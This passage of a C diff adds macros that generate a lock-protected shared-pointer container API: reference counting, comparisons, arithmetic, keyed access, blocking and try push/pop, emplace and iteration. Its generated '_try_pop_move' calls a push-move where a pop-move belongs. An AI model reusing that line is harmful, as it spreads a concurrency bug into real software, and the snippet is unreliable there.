+ , )                                                                          \
+                                                                              \
+fattr shared_t *M_F(name, _acquire)(shared_t *out)                            \
+{                                                                             \
+    M_ASSERT(out != NULL);                                                    \
+    M_C3(m_shar3d_, name, _inc_owner)(out);                                   \
+    return out;                                                               \
+}                                                                             \
+                                                                              \
+fattr void M_F(name, _release)(shared_t *out)                                 \
+{                                                                             \
+    M_GLOBAL_CONTEXT();                                                       \
+    if (out != NULL && M_C3(m_shar3d_, name, _dec_owner)(out)) {              \
+        M_CALL_CLEAR(oplist, out->data);                                      \
+        M_F(name, _clear_lock)(out);                                          \
+        M_CALL_DEL(oplist, out);                                              \
+    }                                                                         \
+}                                                                             \
+                                                                              \
+fattr void M_F(name, _set)(shared_t **dst, shared_t *out)                     \
+{                                                                             \
+    M_ASSERT(dst != NULL && out != NULL);                                     \
+    M_F(name, _release)(*dst);                                                \
+    *dst = M_F(name, _acquire)(out);                                          \
+}                                                                             \
+                                                                              \
+fattr void M_F(name, _clear)(shared_t *out)                                   \
+{                                                                             \
+    M_F(name, _release)(out);                                                 \
+}                                                                             \
+M_EMPLACE_QUEUE_DEF( (name, fattr), shared_t, M_F(name, _make), oplist, M_SHAR3D_PTR_DEF_BASIC_MAKE)
+
+#define M_SHAR3D_PTR_DEF_BASIC_MAKE(name_attr, shared_t, function_name, oplist, init_func, exp_emplace_type) \
+M_PAIR_2 name_attr shared_t *function_name(M_EMPLACE_LIST_TYPE_VAR_ALTER(a, exp_emplace_type)) \
+{                                                                             \
+        M_GLOBAL_CONTEXT();                                                   \
+        shared_t *out = M_CALL_NEW(oplist, shared_t);                         \
+        if (M_UNLIKELY_NOMEM( out == NULL)) {                                 \
+            M_MEMORY_FULL(shared_t, 1);                                       \
+        }                                                                     \
+        M_ON_EXCEPTION( M_CALL_DEL(oplist, out) )                             \
+            M_EMPLACE_CALL_FUNC(a, init_func, oplist, out->data, exp_emplace_type); \
+        M_F(M_PAIR_1 name_attr, _init_lock)(out);                             \
+        return out;                                                           \
+}                                                                             \
+
+
+/* Define the extra function of a shared pointer */
+#define M_SHAR3D_PTR_DECL_EXTRA(name, shared_t, oplist)                       \
+M_IF_METHOD(SWAP, oplist)( extern void M_F(name, _swap)(shared_t *, shared_t *); , ) \
+M_IF_METHOD(RESET, oplist)( extern void M_F(name, _reset)(shared_t *); , )    \
+M_IF_METHOD(EMPTY_P, oplist)( extern bool M_F(name, _empty_p)(const shared_t *); , ) \
+M_IF_METHOD(FULL_P, oplist)( extern bool M_F(name, _full_p)(const shared_t *); , ) \
+M_IF_METHOD(GET_SIZE, oplist)( extern size_t M_F(name, _size)(const shared_t *); , ) \
+M_IF_METHOD(EQUAL, oplist)( extern bool M_F(name, _equal_p)(const shared_t *, const shared_t *); , ) \
+M_IF_METHOD(CMP, oplist)( extern int M_F(name, _cmp)(const shared_t *, const shared_t *); , ) \
+M_IF_METHOD(HASH, oplist)( extern size_t M_F(name, _hash)(const shared_t *); , ) \
+
+#define M_SHAR3D_PTR_DEF_EXTRA(name, shared_t, type, oplist, fattr)           \
+M_IF_METHOD(SWAP, oplist)(                                                    \
+    fattr void M_F(name, _swap)(shared_t *o1, shared_t *o2)                   \
+    {                                                                         \
+        M_ASSERT(o1 != NULL && o2 != NULL);                                   \
+        if (M_UNLIKELY (o1 == o2)) return;                                    \
+        /* See comment above on _write_read_lock */                           \
+        if (o1 > o2) {                                                        \
+            M_SWAP(shared_t *, o1, o2);                                       \
+        }                                                                     \
+        M_F(name, _write_lock)(o1);                                           \
+        M_F(name, _write_lock)(o2);                                           \
+        /* SWAP cannot throw exception */                                     \
+        M_CALL_SWAP(oplist, o1->data, o2->data);                              \
+        /* It doesn't make sense to signal new data or new slot, Right? */    \
+        M_F(name, _write_unlock)(o1);                                         \
+        M_F(name, _write_unlock)(o2);                                         \
+    }                                                                         \
+, )                                                                           \
+                                                                              \
+M_IF_METHOD(RESET, oplist)(                                                   \
+    fattr void M_F(name, _reset)(shared_t *out)                               \
+    {                                                                         \
+        M_ASSERT(out != NULL);                                                \
+        M_GLOBAL_CONTEXT();                                                   \
+        M_F(name, _write_lock)(out);                                          \
+        /* RESET cannot throw exception */                                    \
+        M_CALL_RESET(oplist, out->data);                                      \
+        M_F(name, _free_signal)(out);                                         \
+        M_F(name, _write_unlock)(out);                                        \
+    }                                                                         \
+, )                                                                           \
+                                                                              \
+M_IF_METHOD(EMPTY_P, oplist)(                                                 \
+    fattr bool M_F(name, _empty_p)(const shared_t *out)                       \
+    {                                                                         \
+        M_ASSERT(out != NULL);                                                \
+        M_F(name, _read_lock)(out);                                           \
+        /* EMPTY_P cannot throw exception */                                  \
+        bool r = M_CALL_EMPTY_P(oplist, out->data);                           \
+        M_F(name, _read_unlock)(out);                                         \
+        return r;                                                             \
+    }                                                                         \
+, )                                                                           \
+                                                                              \
+M_IF_METHOD(FULL_P, oplist)(                                                  \
+    fattr bool M_F(name, _full_p)(const shared_t *out)                        \
+    {                                                                         \
+        M_ASSERT(out != NULL);                                                \
+        M_F(name, _read_lock)(out);                                           \
+        /* FULL_P cannot throw exception */                                   \
+        bool r = M_CALL_FULL_P(oplist, out->data);                            \
+        M_F(name, _read_unlock)(out);                                         \
+        return r;                                                             \
+    }                                                                         \
+, )                                                                           \
+                                                                              \
+M_IF_METHOD(GET_SIZE, oplist)(                                                \
+    fattr size_t M_F(name, _size)(const shared_t *out)                        \
+    {                                                                         \
+        M_ASSERT(out != NULL);                                                \
+        M_F(name, _read_lock)(out);                                           \
+        /* GET_SIZE cannot throw exception */                                 \
+        size_t r = M_CALL_GET_SIZE(oplist, out->data);                        \
+        M_F(name, _read_unlock)(out);                                         \
+        return r;                                                             \
+    }                                                                         \
+, )                                                                           \
+                                                                              \
+M_IF_METHOD(EQUAL, oplist)(                                                   \
+    fattr bool M_F(name, _equal_p)(const shared_t *o1, const shared_t *o2)    \
+    {                                                                         \
+        M_ASSERT(o1 != NULL && o2 != NULL);                                   \
+        if (o1 == o2) return true;                                            \
+        /* See comment above on _write_read_lock */                           \
+        if (o1 > o2) {                                                        \
+            M_SWAP(const shared_t *, o1, o2);                                 \
+        }                                                                     \
+        /* FIXME: OOR compare and constraint on OOR argument? */              \
+        M_F(name, _read_lock)(o1);                                            \
+        M_F(name, _read_lock)(o2);                                            \
+        /* EQUAL cannot throw exception */                                    \
+        bool r = M_CALL_EQUAL(oplist, o1->data, o2->data);                    \
+        M_F(name, _read_unlock)(o1);                                          \
+        M_F(name, _read_unlock)(o2);                                          \
+        return r;                                                             \
+    }                                                                         \
+, )                                                                           \
+                                                                              \
+M_IF_METHOD(CMP, oplist)(                                                     \
+    fattr int M_F(name, _cmp)(const shared_t *o1, const shared_t *o2)         \
+    {                                                                         \
+        M_ASSERT(o1 != NULL && o2 != NULL);                                   \
+        int neg = 1;                                                          \
+        if (o1 == o2) return 0;                                               \
+        /* See comment above on _write_read_lock */                           \
+        if (o1 > o2) {                                                        \
+            M_SWAP(const shared_t *, o1, o2);                                 \
+            /* inverse input, so inverse result too */                        \
+            neg = -1;                                                         \
+        }                                                                     \
+        M_F(name, _read_lock)(o1);                                            \
+        M_F(name, _read_lock)(o2);                                            \
+        /* CMP cannot throw exception */                                      \
+        int r = M_CALL_CMP(oplist, o1->data, o2->data);                       \
+        M_F(name, _read_unlock)(o1);                                          \
+        M_F(name, _read_unlock)(o2);                                          \
+        return r * neg;                                                       \
+    }                                                                         \
+, )                                                                           \
+                                                                              \
+M_IF_METHOD(HASH, oplist)(                                                    \
+    fattr size_t M_F(name, _hash)(const shared_t *out)                        \
+    {                                                                         \
+        M_ASSERT(out != NULL);                                                \
+        M_F(name, _read_lock)(out);                                           \
+        /* HASH cannot throw exception */                                     \
+        size_t r = M_CALL_HASH(oplist, out->data);                            \
+        M_F(name, _read_unlock)(out);                                         \
+        return r;                                                             \
+    }                                                                         \
+, )                                                                           \
+
+
+/* Define the arithmetic operators */
+#define M_SHAR3D_PTR_DECL_ARITH(name, shared_t, oplist)                       \
+M_IF_METHOD(ADD, oplist)( extern void M_F(name, _add)(shared_t *, const shared_t *, const shared_t *); , ) \
+M_IF_METHOD(SUB, oplist)( extern void M_F(name, _sub)(shared_t *, const shared_t *, const shared_t *); , ) \
+M_IF_METHOD(MUL, oplist)( extern void M_F(name, _mul)(shared_t *, const shared_t *, const shared_t *); , ) \
+M_IF_METHOD(DIV, oplist)( extern void M_F(name, _div)(shared_t *, const shared_t *, const shared_t *); , ) \
+M_IF_METHOD(SPLICE, oplist)( extern void M_F(name, _splice)(shared_t *, shared_t *); , ) \
+
+#define M_SHAR3D_PTR_DEF_ARITH(name, shared_t, type, oplist, fattr)           \
+M_IF_METHOD(ADD, oplist)(                                                     \
+    fattr void M_F(name, _add)(shared_t *out, const shared_t *src1, const shared_t *src2) \
+    {                                                                         \
+        M_ASSERT(out != NULL && src1 != NULL && src2 != NULL);                \
+        M_GLOBAL_CONTEXT();                                                   \
+        M_F(name, _write_read2_lock)(out, src1, src2);                        \
+        M_ON_EXCEPTION( M_F(name, _write_read2_unlock)(out, src1, src2) )     \
+            M_CALL_ADD(oplist, out->data, src1->data, src2->data);            \
+        M_F(name, _write_read2_unlock)(out, src1, src2);                      \
+    }                                                                         \
+, )                                                                           \
+                                                                              \
+M_IF_METHOD(SUB, oplist)(                                                     \
+    fattr void M_F(name, _sub)(shared_t *out, const shared_t *src1, const shared_t *src2) \
+    {                                                                         \
+        M_ASSERT(out != NULL && src1 != NULL && src2 != NULL);                \
+        M_GLOBAL_CONTEXT();                                                   \
+        M_F(name, _write_read2_lock)(out, src1, src2);                        \
+        M_ON_EXCEPTION( M_F(name, _write_read2_unlock)(out, src1, src2) )     \
+            M_CALL_SUB(oplist, out->data, src1->data, src2->data);            \
+        M_F(name, _write_read2_unlock)(out, src1, src2);                      \
+    }                                                                         \
+, )                                                                           \
+                                                                              \
+M_IF_METHOD(MUL, oplist)(                                                     \
+    fattr void M_F(name, _mul)(shared_t *out, const shared_t *src1, const shared_t *src2) \
+    {                                                                         \
+        M_ASSERT(out != NULL && src1 != NULL && src2 != NULL);                \
+        M_GLOBAL_CONTEXT();                                                   \
+        M_F(name, _write_read2_lock)(out, src1, src2);                        \
+        M_ON_EXCEPTION( M_F(name, _write_read2_unlock)(out, src1, src2) )     \
+            M_CALL_MUL(oplist, out->data, src1->data, src2->data);            \
+        M_F(name, _write_read2_unlock)(out, src1, src2);                      \
+    }                                                                         \
+, )                                                                           \
+                                                                              \
+M_IF_METHOD(DIV, oplist)(                                                     \
+    fattr void M_F(name, _div)(shared_t *out, const shared_t *src1, const shared_t *src2) \
+    {                                                                         \
+        M_ASSERT(out != NULL && src1 != NULL && src2 != NULL);                \
+        M_GLOBAL_CONTEXT();                                                   \
+        M_F(name, _write_read2_lock)(out, src1, src2);                        \
+        M_ON_EXCEPTION( M_F(name, _write_read2_unlock)(out, src1, src2) )     \
+            M_CALL_DIV(oplist, out->data, src1->data, src2->data);            \
+        M_F(name, _write_read2_unlock)(out, src1, src2);                      \
+    }                                                                         \
+, )                                                                           \
+                                                                              \
+M_IF_METHOD(SPLICE, oplist)(                                                  \
+    fattr void M_F(name, _splice)(shared_t *out, shared_t *src)               \
+    {                                                                         \
+        M_ASSERT(out != NULL && src != NULL);                                 \
+        M_GLOBAL_CONTEXT();                                                   \
+        if (out < src) {                                                      \
+            M_F(name, _write_lock)(out);                                      \
+            M_F(name, _write_lock)(src);                                      \
+        } else {                                                              \
+            M_F(name, _write_lock)(src);                                      \
+            M_F(name, _write_lock)(out);                                      \
+        }                                                                     \
+        M_ON_EXCEPTION( M_F(name, _write_unlock)(out), M_F(name, _write_unlock)(src) ) \
+            M_CALL_SPLICE(oplist, out->data, src->data);                      \
+        M_F(name, _write_signal)(out);                                        \
+        M_F(name, _write_unlock)(out);                                        \
+        M_F(name, _write_unlock)(src);                                        \
+    }                                                                         \
+, )                                                                           \
+
+
+/* Define the key based operators */
+#define M_SHAR3D_PTR_DECL_KEY(name, shared_t, oplist, key_type, value_type)   \
+M_IF_METHOD(GET_KEY, oplist)( extern bool M_F(name, _get)(value_type *, const shared_t *, key_type const); , ) \
+M_IF_METHOD(SAFE_GET_KEY, oplist)( extern void M_F(name, _safe_get)(value_type *, shared_t *, key_type const); , ) \
+M_IF_METHOD(SET_KEY, oplist)( extern void M_F(name, _set_at)(shared_t *, key_type const, value_type const); , ) \
+M_IF_METHOD(ERASE_KEY, oplist)( extern bool M_F(name, _erase)(shared_t *, key_type const); , )
+
+#define M_SHAR3D_PTR_DEF_KEY(name, shared_t, type, oplist, fattr, key_type, key_oplist, value_type, value_oplist) \
+M_IF_METHOD(GET_KEY, oplist)(                                                 \
+    fattr bool M_F(name, _get)(value_type *value, const shared_t *out, key_type const key) \
+    {                                                                         \
+        M_ASSERT (out != NULL);                                               \
+        M_ASSERT (value != NULL);                                             \
+        M_GLOBAL_CONTEXT();                                                   \
+        M_F(name, _read_lock)(out);                                           \
+        /* No exception */                                                    \
+        value_type *p = M_CALL_GET_KEY(oplist, out->data, key);               \
+        if (p != NULL) {                                                      \
+            M_CALL_SET(value_oplist, *value, *p);                             \
+        }                                                                     \
+        M_F(name, _read_unlock)(out);                                         \
+        return p != NULL;                                                     \
+    }                                                                         \
+, )                                                                           \
+/* FIXME: _try_get and _get is blocking? */                                   \
+M_IF_METHOD(SAFE_GET_KEY, oplist)(                                            \
+    fattr void M_F(name, _safe_get)(value_type *value, shared_t *out, key_type const key) \
+    {                                                                         \
+        M_ASSERT (out != NULL);                                               \
+        M_ASSERT (value != NULL);                                             \
+        M_GLOBAL_CONTEXT();                                                   \
+        M_F(name, _write_lock)(out);                                          \
+        M_ON_EXCEPTION( M_F(name, _write_unlock)(out) ) {                     \
+            value_type *p = M_CALL_SAFE_GET_KEY(oplist, out->data, key);      \
+            M_ASSERT (p != NULL);                                             \
+            M_CALL_SET(value_oplist, *value, *p);                             \
+        }                                                                     \
+        /* FIXME: Signal?*/                                                   \
+        M_F(name, _write_unlock)(out);                                        \
+    }                                                                         \
+, )                                                                           \
+                                                                              \
+M_IF_METHOD(SET_KEY, oplist)(                                                 \
+    fattr void M_F(name, _set_at)(shared_t *out, key_type const key, value_type const value) \
+    {                                                                         \
+        M_ASSERT (out != NULL);                                               \
+        M_GLOBAL_CONTEXT();                                                   \
+        M_F(name, _write_lock)(out);                                          \
+        M_ON_EXCEPTION( M_F(name, _write_unlock)(out) )                       \
+            M_CALL_SET_KEY(oplist, out->data, key, value);                    \
+        /* FIXME: Signal?*/                                                   \
+        M_F(name, _write_unlock)(out);                                        \
+    }                                                                         \
+, )                                                                           \
+                                                                              \
+M_IF_METHOD(ERASE_KEY, oplist)(                                               \
+    fattr bool M_F(name, _erase)(shared_t *out, key_type const key)           \
+    {                                                                         \
+        M_ASSERT (out != NULL);                                               \
+        M_GLOBAL_CONTEXT();                                                   \
+        M_F(name, _write_lock)(out);                                          \
+        /* No exception */                                                    \
+        bool r = M_CALL_ERASE_KEY(oplist, out->data, key);                    \
+        /* FIXME: Signal?*/                                                   \
+        M_F(name, _write_unlock)(out);                                        \
+        return r;                                                             \
+    }                                                                         \
+, )                                                                           \
+
+
+// TODO: Define default for FULL_P & EMPTY_P if not defined in the oplist of the type
+// always return false for FULL_P and EMPTY_P only for PUSH and POP
+
+/* Define the push based operators */
+#define M_SHAR3D_PTR_DECL_PUSH(name, shared_t, oplist, sub_type)              \
+M_IF_METHOD(PUSH, oplist)( extern void M_F(name, _push)(shared_t *, sub_type const); , ) \
+M_IF_METHOD(PUSH_MOVE, oplist)( extern void M_F(name, _push_move)(shared_t *, sub_type *); , ) \
+M_IF_METHOD(PUSH, oplist)( extern bool M_F(name, _try_push)(shared_t *, sub_type const); , ) \
+M_IF_METHOD(PUSH_MOVE, oplist)( extern bool M_F(name, _try_push_move)(shared_t *, sub_type *); , ) \
+M_EMPLACE_QUEUE_DEF(name, shared_t, M_F(name, _emplace), M_GET_OPLIST oplist, M_SHAR3D_PTR_DECL_EMPLACE) \
+M_EMPLACE_QUEUE_DEF(name, shared_t, M_F(name, _try_emplace), M_GET_OPLIST oplist, M_SHAR3D_PTR_DECL_TRY_EMPLACE)
+
+#define M_SHAR3D_PTR_DECL_EMPLACE(name, shared_t, function_name, oplist, init_func, exp_emplace_type) \
+extern void function_name(shared_t* M_EMPLACE_LIST_TYPE_VAR(a, exp_emplace_type));
+
+#define M_SHAR3D_PTR_DECL_TRY_EMPLACE(name, shared_t, function_name, oplist, init_func, exp_emplace_type) \
+extern bool function_name(shared_t* M_EMPLACE_LIST_TYPE_VAR(a, exp_emplace_type));
+
+#define M_SHAR3D_PTR_DEF_PUSH(name, shared_t, type, oplist, fattr, sub_type, sub_oplist) \
+M_IF_METHOD(PUSH, oplist)(                                                    \
+    fattr void M_F(name, _push)(shared_t *out, sub_type const value)          \
+    {                                                                         \
+        M_ASSERT(out != NULL);                                                \
+        M_GLOBAL_CONTEXT();                                                   \
+        M_F(name, _write_lock)(out);                                          \
+        while (true) {                                                        \
+            if (M_CALL_FULL_P(oplist, out->data) == false) {                  \
+                M_ON_EXCEPTION( M_F(name, _write_unlock)(out) )               \
+                    M_CALL_PUSH(oplist, out->data, value);                    \
+                M_F(name, _write_signal)(out);                                \
+                break;                                                        \
+            }                                                                 \
+            M_F(name, _write_wait)(out);                                      \
+        }                                                                     \
+        M_F(name, _write_unlock)(out);                                        \
+    }                                                                         \
+                                                                              \
+    fattr bool M_F(name, _try_push)(shared_t *out, sub_type const value)      \
+    {                                                                         \
+        M_ASSERT(out != NULL);                                                \
+        M_GLOBAL_CONTEXT();                                                   \
+        bool ret = false;                                                     \
+        M_F(name, _write_lock)(out);                                          \
+        if (M_CALL_FULL_P(oplist, out->data) == false) {                      \
+            M_ON_EXCEPTION( M_F(name, _write_unlock)(out) )                   \
+                M_CALL_PUSH(oplist, out->data, value);                        \
+            M_F(name, _write_signal)(out);                                    \
+            ret = true;                                                       \
+        }                                                                     \
+        M_F(name, _write_unlock)(out);                                        \
+        return ret;                                                           \
+    }                                                                         \
+, )                                                                           \
+M_IF_METHOD(PUSH_MOVE, oplist)(                                               \
+    fattr void M_F(name, _push_move)(shared_t *out, sub_type *value)          \
+    {                                                                         \
+        M_ASSERT(out != NULL);                                                \
+        M_GLOBAL_CONTEXT();                                                   \
+        M_F(name, _write_lock)(out);                                          \
+        while (true) {                                                        \
+            if (M_CALL_FULL_P(oplist, out->data) == false) {                  \
+                M_ON_EXCEPTION( M_F(name, _write_unlock)(out) )               \
+                    M_CALL_PUSH_MOVE(oplist, out->data, value);               \
+                M_F(name, _write_signal)(out);                                \
+                break;                                                        \
+            }                                                                 \
+            M_F(name, _write_wait)(out);                                      \
+        }                                                                     \
+        M_F(name, _write_unlock)(out);                                        \
+    }                                                                         \
+                                                                              \
+    fattr bool M_F(name, _try_push_move)(shared_t *out, sub_type *value)      \
+    {                                                                         \
+        M_ASSERT(out != NULL);                                                \
+        M_GLOBAL_CONTEXT();                                                   \
+        bool ret = false;                                                     \
+        M_F(name, _write_lock)(out);                                          \
+        if (M_CALL_FULL_P(oplist, out->data) == false) {                      \
+            M_ON_EXCEPTION( M_F(name, _write_unlock)(out) )                   \
+                M_CALL_PUSH_MOVE(oplist, out->data, value);                   \
+            M_F(name, _write_signal)(out);                                    \
+            ret = true;                                                       \
+        }                                                                     \
+        M_F(name, _write_unlock)(out);                                        \
+        return ret;                                                           \
+    }                                                                         \
+    M_EMPLACE_QUEUE_DEF( (name, fattr, type, oplist), shared_t, M_F(name, _emplace), sub_oplist, M_SHAR3D_PTR_DEF_EMPLACE) \
+    M_EMPLACE_QUEUE_DEF( (name, fattr, type, oplist), shared_t, M_F(name, _try_emplace), sub_oplist, M_SHAR3D_PTR_DEF_TRY_EMPLACE) \
+, )                                                                           \
+
+#define M_SHAR3D_PTR_DEF_EMPLACE(name_attr, shared_t, function_name, sub_oplist, init_func, exp_emplace_type) \
+    M_SHAR3D_PTR_DEF_EMPLACE_P2(M_QUAD_1 name_attr, M_QUAD_2 name_attr, M_QUAD_3 name_attr, M_QUAD_4 name_attr, shared_t, function_name, sub_oplist, init_func, exp_emplace_type)
+#define M_SHAR3D_PTR_DEF_EMPLACE_P2(name, fattr, type, oplist, shared_t, function_name, sub_oplist, init_func, exp_emplace_type) \
+fattr void function_name(shared_t *out M_EMPLACE_LIST_TYPE_VAR(a, exp_emplace_type)) \
+{                                                                             \
+        M_ASSERT(out != NULL);                                                \
+        M_GLOBAL_CONTEXT();                                                   \
+        M_F(name, _write_lock)(out);                                          \
+        while (true) {                                                        \
+            if (M_CALL_FULL_P(oplist, out->data) == false) {                  \
+                M_ON_EXCEPTION( M_F(name, _write_unlock)(out) ) {             \
+                    M_GET_TYPE sub_oplist tmp;                                \
+                    M_EMPLACE_CALL_FUNC(a, init_func, sub_oplist, tmp, exp_emplace_type); \
+                    M_CALL_PUSH_MOVE(oplist, out->data, &tmp);                \
+                    M_F(name, _write_signal)(out);                            \
+                }                                                             \
+                break;                                                        \
+            }                                                                 \
+            M_F(name, _write_wait)(out);                                      \
+        }                                                                     \
+        M_F(name, _write_unlock)(out);                                        \
+}                                                                             \
+
+#define M_SHAR3D_PTR_DEF_TRY_EMPLACE(name_attr, shared_t, function_name, sub_oplist, init_func, exp_emplace_type) \
+    M_SHAR3D_PTR_DEF_TRY_EMPLACE_P2(M_QUAD_1 name_attr, M_QUAD_2 name_attr, M_QUAD_3 name_attr, M_QUAD_4 name_attr, shared_t, function_name, sub_oplist, init_func, exp_emplace_type)
+#define M_SHAR3D_PTR_DEF_TRY_EMPLACE_P2(name, fattr, type, oplist, shared_t, function_name, sub_oplist, init_func, exp_emplace_type) \
+fattr bool function_name(shared_t *out M_EMPLACE_LIST_TYPE_VAR(a, exp_emplace_type)) \
+{                                                                             \
+        M_ASSERT(out != NULL);                                                \
+        M_GLOBAL_CONTEXT();                                                   \
+        bool ret = false;                                                     \
+        M_F(name, _write_lock)(out);                                          \
+        if (M_CALL_FULL_P(oplist, out->data) == false) {                      \
+            M_ON_EXCEPTION( M_F(name, _write_unlock)(out) ) {                 \
+                M_GET_TYPE sub_oplist tmp;                                    \
+                M_EMPLACE_CALL_FUNC(a, init_func, sub_oplist, tmp, exp_emplace_type); \
+                M_CALL_PUSH_MOVE(oplist, out->data, &tmp);                    \
+                M_F(name, _write_signal)(out);                                \
+                ret = true;                                                   \
+            }                                                                 \
+        }                                                                     \
+        M_F(name, _write_unlock)(out);                                        \
+        return ret;                                                           \
+}                                                                             \
+
+
+/* Define the pop based operators */
+#define M_SHAR3D_PTR_DECL_POP(name, shared_t, oplist, sub_type)               \
+M_IF_METHOD(POP, oplist)( extern void M_F(name, _pop)(sub_type *const, shared_t *); , ) \
+M_IF_METHOD(POP_MOVE, oplist)( extern void M_F(name, _pop_move)(sub_type *, shared_t *); , ) \
+M_IF_METHOD(POP, oplist)( extern bool M_F(name, _try_pop)(sub_type*, shared_t *); , ) \
+M_IF_METHOD(POP_MOVE, oplist)( extern bool M_F(name, _try_pop_move)(sub_type *, shared_t *); , )
+
+#define M_SHAR3D_PTR_DEF_POP(name, shared_t, type, oplist, fattr, sub_type, sub_oplist) \
+M_IF_METHOD(POP, oplist)(                                                     \
+    fattr void M_F(name, _pop)(sub_type *value, shared_t *out)                \
+    {                                                                         \
+        M_ASSERT(out != NULL);                                                \
+        M_GLOBAL_CONTEXT();                                                   \
+        M_F(name, _write_lock)(out);                                          \
+        while (true) {                                                        \
+            if (M_CALL_EMPTY_P(oplist, out->data) == false) {                 \
+                M_ON_EXCEPTION( M_F(name, _write_unlock)(out) )               \
+                    M_CALL_POP(oplist, value, out->data);                     \
+                M_F(name, _free_signal)(out);                                 \
+                break;                                                        \
+            }                                                                 \
+            M_F(name, _read_wait)(out);                                       \
+        }                                                                     \
+        M_F(name, _write_unlock)(out);                                        \
+    }                                                                         \
+                                                                              \
+    fattr bool M_F(name, _try_pop)(sub_type *value, shared_t *out)            \
+    {                                                                         \
+        M_ASSERT(out != NULL);                                                \
+        M_GLOBAL_CONTEXT();                                                   \
+        bool ret = false;                                                     \
+        M_F(name, _write_lock)(out);                                          \
+        if (M_CALL_EMPTY_P(oplist, out->data) == false) {                     \
+            M_ON_EXCEPTION( M_F(name, _write_unlock)(out) )                   \
+                M_CALL_POP(oplist, value, out->data);                         \
+            M_F(name, _free_signal)(out);                                     \
+            ret = true;                                                       \
+        }                                                                     \
+        M_F(name, _write_unlock)(out);                                        \
+        return ret;                                                           \
+    }                                                                         \
+, )                                                                           \
+M_IF_METHOD(POP_MOVE, oplist)(                                                \
+    fattr void M_F(name, _pop_move)(sub_type *value, shared_t *out)           \
+    {                                                                         \
+        M_ASSERT(out != NULL);                                                \
+        M_GLOBAL_CONTEXT();                                                   \
+        M_F(name, _write_lock)(out);                                          \
+        while (true) {                                                        \
+            if (M_CALL_EMPTY_P(oplist, out->data) == false) {                 \
+                M_ON_EXCEPTION( M_F(name, _write_unlock)(out) )               \
+                    M_CALL_POP_MOVE(oplist, value, out->data);                \
+                M_F(name, _free_signal)(out);                                 \
+                break;                                                        \
+            }                                                                 \
+            M_F(name, _read_wait)(out);                                       \
+        }                                                                     \
+        M_F(name, _write_unlock)(out);                                        \
+    }                                                                         \
+                                                                              \
+    fattr bool M_F(name, _try_pop_move)(sub_type *value, shared_t *out)       \
+    {                                                                         \
+        M_ASSERT(out != NULL);                                                \
+        M_GLOBAL_CONTEXT();                                                   \
+        bool ret = false;                                                     \
+        M_F(name, _write_lock)(out);                                          \
+        if (M_CALL_EMPTY_P(oplist, out->data) == false) {                     \
+            M_ON_EXCEPTION( M_F(name, _write_unlock)(out) )                   \
+                M_CALL_PUSH_MOVE(oplist, out->data, value);                   \
+            M_F(name, _free_signal)(out);                                     \
+            ret = true;                                                       \
+        }                                                                     \
+        M_F(name, _write_unlock)(out);                                        \
+        return ret;                                                           \
+    }                                                                         \
+, )                                                                           \
+
+
+/* Define the iterator based operators
+   We cannot provide directly the iterator due to concurency API,
+   so we produce an encapsulation of the major usage of them */
+#define M_SHAR3D_PTR_DECL_IT(name, shared_t, oplist, sub_type)                \
+M_IF_METHOD2(IT_FIRST, IT_REF, oplist)( extern int M_F(name, _apply)(shared_t *, int (*callback)(void *, sub_type*), void*); , ) \
+M_IF_METHOD2(IT_FIRST, IT_CREF, oplist)( extern int M_F(name, _for_each)(const shared_t *, int (*callback)(void *, const sub_type*), void*); , ) \
+M_IF_METHOD2(IT_LAST, IT_REF, oplist)( extern int M_F(name, _r_apply)(shared_t *, int (*callback)(void *, sub_type*), void*); , ) \
+M_IF_METHOD2(IT_LAST, IT_CREF, oplist)( extern int M_F(name, _r_for_each)(const shared_t *, int (*callback)(void *, const sub_type*), void*); , ) \
+
+#define M_SHAR3D_PTR_DEF_IT(name, shared_t, type, oplist, fattr, sub_type, sub_oplist) \
+M_IF_METHOD2(IT_FIRST, IT_REF, oplist)(                                       \
+    fattr int M_F(name, _apply)(shared_t *out, int (*callback)(void *, sub_type*), void*data) \
+    {                                                                         \
+        M_ASSERT(out != NULL);                                                \
+        M_ASSERT(callback != NULL);                                           \
+        int ret = 0;                                                          \
+        M_F(name, _write_lock)(out);                                          \
+        M_ON_EXCEPTION( M_F(name, _write_unlock)(out) ) {                     \
+            M_GET_IT_TYPE oplist it;                                          \
+            for(M_CALL_IT_FIRST(oplist, it, out->data); !M_CALL_IT_END_P(oplist, it); M_CALL_IT_NEXT(oplist, it)) { \
+                ret = callback(data, M_CALL_IT_REF(oplist, it));              \
+                if (ret)                                                      \
+                    break;                                                    \
+            }                                                                 \
+        }                                                                     \
+        /* There is no NEW data in the container: no signal to do */          \
+        M_F(name, _write_unlock)(out);                                        \
+        return ret;                                                           \
+    }                                                                         \
+, )                                                                           \
+M_IF_METHOD2(IT_FIRST, IT_CREF, oplist)(                                      \
+    fattr int M_F(name, _for_each)(const shared_t *out, int (*callback)(void *, const sub_type*), void*data) \
+    {                                                                         \
+        M_ASSERT(out != NULL);                                                \
+        M_ASSERT(callback != NULL);                                           \
+        int ret = 0;                                                          \
+        M_F(name, _read_lock)(out);                                           \
+        M_ON_EXCEPTION( M_F(name, _read_unlock)(out) ) {                      \
+            M_GET_IT_TYPE oplist it;                                          \
+            for(M_CALL_IT_FIRST(oplist, it, out->data); !M_CALL_IT_END_P(oplist, it); M_CALL_IT_NEXT(oplist, it)) { \
+                ret = callback(data, M_CALL_IT_CREF(oplist, it));             \
+                if (ret)                                                      \
+                    break;                                                    \
+            }                                                                 \
+        }                                                                     \
+        M_F(name, _read_unlock)(out);                                         \
+        return ret;                                                           \
+    }                                                                         \
+, )                                                                           \
+M_IF_METHOD2(IT_LAST, IT_REF, oplist)(                                        \
+    fattr int M_F(name, _r_apply)(shared_t *out, int (*callback)(void *, sub_type*), void*data) \
+    {                                                                         \
+        M_ASSERT(out != NULL);                                                \
+        M_ASSERT(callback != NULL);                                           \
+        int ret = 0;                                                          \
+        M_F(name, _write_lock)(out);                                          \
+        M_ON_EXCEPTION( M_F(name, _write_unlock)(out) ) {                     \
+            M_GET_IT_TYPE oplist it;                                          \
+            for(M_CALL_IT_LAST(oplist, it, out->data); !M_CALL_IT_END_P(oplist, it); M_CALL_IT_PREVIOUS(oplist, it)) { \
+                ret = callback(data, M_CALL_IT_REF(oplist, it));              \
+                if (ret)                                                      \
+                    break;                                                    \
+            }                                                                 \
+        }                                                                     \
+        /* There is no NEW data in the container: no signal to do */          \
+        M_F(name, _write_unlock)(out);                                        \
+        return ret;                                                           \
+    }                                                                         \
+, )                                                                           \
+M_IF_METHOD2(IT_LAST, IT_CREF, oplist)(                                       \
+    fattr int M_F(name, _r_for_each)(const shared_t *out, int (*callback)(void *, const sub_type*), void*data) \
+    {                                                                         \
